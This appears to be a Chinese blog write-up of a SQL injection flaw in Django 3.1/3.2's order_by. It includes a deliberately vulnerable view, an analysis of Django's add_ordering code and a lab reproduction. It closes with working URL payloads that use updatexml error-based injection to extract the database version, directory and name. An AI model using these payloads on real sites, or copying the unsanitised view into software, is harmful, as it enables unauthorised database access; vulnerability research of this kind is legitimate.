漏洞影响版本:django 3.1、3.2
概要:Django中QuerySet数据合集的order_by函数存在SQL注入漏洞。
注入点:
order_by传入的值
漏洞分析:
前置知识点
在Django中,想要在数据库中创建表并定义字段只需要在models.py文件中声明一个模型类即可。
这里定义了一个叫Collection的表,表中有一个叫name的字段

from django.db import models
# Create your models here.

class Collection(models.Model):
    name = models.CharField(max_length=128)

Django内置了一个ORM框架,从数据库查询出来的结果是一个合集,这个合集就是QuerySet。而order_by这个方法的作用,一般是将查询出来的结果按照某字段的值,由小到大或由大到小进行排序。
views.py的视图函数中,先是获取到了用户传入的参数值order(如果没有传入参数默认值为id)。
然后到Collection表中进行数据查询,对返回的结果按照id值从小到大进行排序
最后使用values()函数将数据合集转换成了一个一个json的数据格式返回

from django.shortcuts import HttpResponse
from .models import Collection

#create your views here

def vul(request):
    query = request.GET.get('order',default='id')
    q = Collection.objects.order_by(query)
    return HttpResponse(q.values())

比如返回的结果按照id值排序Collection.objects.order_by('id'),是从小到大的顺序。默认query参数传入值为'id'如果想要变成从大到小,只需要把'id'变成'-id'即可。因此可以通过在参数值前面加'-'来判断,如果返回的顺序颠倒了那么就是使用了order_by。

当运行到Collection.objects.order_by('id')的时候,主要是进入add_ordering()函数来判断order_by 的排序顺序和表达式。在该函数中进行如下了五个判断:

  • 字段中是否带点、
  • 字段是否为问号、
  • 字段开头是否为短横杠、
  • 判断是否在一个map字典、
  • 判断是否有额外的参数信息。

如果全部参数无异常会进入self.names_to_path中进行数据获取,并进行相关逻辑处理,这个过程中是不会进行SQL注入拼接的。

def add_ordering(self, *ordering):
        """
        Add items from the 'ordering' sequence to the query's "order by"
        clause. These items are either field names (not column names) --
        possibly with a direction prefix ('-' or '?') -- or OrderBy
        expressions.

        If 'ordering' is empty, clear all ordering from the query.
        """
        errors = []
        for item in ordering:
            if isinstance(item, str):
                if '.' in item:
                    warnings.warn(
                        'Passing column raw column aliases to order_by() is '
                        'deprecated. Wrap %r in a RawSQL expression before '
                        'passing it to order_by().' % item,
                        category=RemovedInDjango40Warning,
                        stacklevel=3,
                    )
                    continue
                if item == '?':
                    continue
                if item.startswith('-'):
                    item = item[1:]
                if item in self.annotations:
                    continue
                if self.extra and item in self.extra:
                    continue
                # names_to_path() validates the lookup. A descriptive
                # FieldError will be raise if it's not.
                self.names_to_path(item.split(LOOKUP_SEP), self.model._meta)
            elif not hasattr(item, 'resolve_expression'):
                errors.append(item)
            if getattr(item, 'contains_aggregate', False):
                raise FieldError(
                    'Using an aggregate in order_by() without also including '
                    'it in annotate() is not allowed: %s' % item
                )
        if errors:
            raise FieldError('Invalid order_by arguments: %s' % errors)
        if ordering:
            self.order_by += ordering
        else:
            self.default_ordering = False

当用户输入的字段中带了点'id.',就会跳出循环进入到_fetch_all(在查询数据后对查询出的数据的读取方式)中,这个时候会进行SQL查询:
SELECT "vuln_collection"."id", "vuln_collection"."name" FROM "vuln_collection" ORDER BY ("id".) ASC
可以看到会把点带进查询。也就是说把'id.'进行了拼接。
因此可以尝试闭合语句并配合debug回显进行报错注入:
SELECT "vuln_collection"."id", "vuln_collection"."name" FROM "vuln_collection" ORDER BY (vuln_collection.id);select updatexml(1,concat(0x7e,(select @@version)),1);# ASC
这里是报错注入,注出数据库版本

  • 闭合方法为:

APP名_数据库名.数据库存在的字段名);
在这里即为vuln_collection.id);

复现过程
docker启动靶场

访问漏洞页面

对参数order,或者说对是否存在漏洞进行检验


利用报错注入,得到想要的信息

这里由于是GET方式传递参数,故这里可以直接在URL中进行注入,由于浏览器会自动进行转码,所以我在这里直接输入源注入语句,实际应为
/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select%20version())),1)%23

payload:
 目录:
 /vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat
 (0x7e,(select%20@@basedir)),1)%23

 版本:
 /vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat
 (0x7e,(select%20version())),1)%23

 数据库名:
 /vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat
 (0x7e,(select%20database())),1)%23

知识点:
updatexml报错注入原理:
concat()函数是将其连成一个字符串,因此不会符合XPath_string的格式,因此会造成格式错误
0x7eASCII码,实际为~,updatexml报错为特殊字符、字母及之后的内容,为了防止前面的字母丢失,开头连接一个特殊字符

说点什么
支持Markdown语法
好耶,沙发还空着ヾ(≧▽≦*)o
Loading...